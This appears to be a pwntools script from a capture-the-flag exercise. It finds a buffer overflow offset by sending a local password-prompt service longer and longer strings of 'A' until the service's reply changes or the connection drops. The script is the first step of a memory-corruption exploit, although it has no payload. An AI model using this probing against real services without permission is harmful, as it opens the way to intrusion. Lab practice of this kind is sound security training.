from pwn import *

ip = '127.0.0.1'
port = 10001

def check_overflow():
	for i in range(0, 4096):
		try:
			sleep(0.1)
			r = remote(ip, port, level='error')
			response = r.recvuntil('WelCome my friend, Do you know password?\n')
			r.sendline("A" * i)
			response = r.recv(timeout=1)
			r.close()
			if 'No password, no game' in response:
				i += 1
			else:
				r.close()
				return i

		except EOFError as e:
			r.close()
			return i - 1

size = check_overflow()
log.info('overflow size : '+str(size))
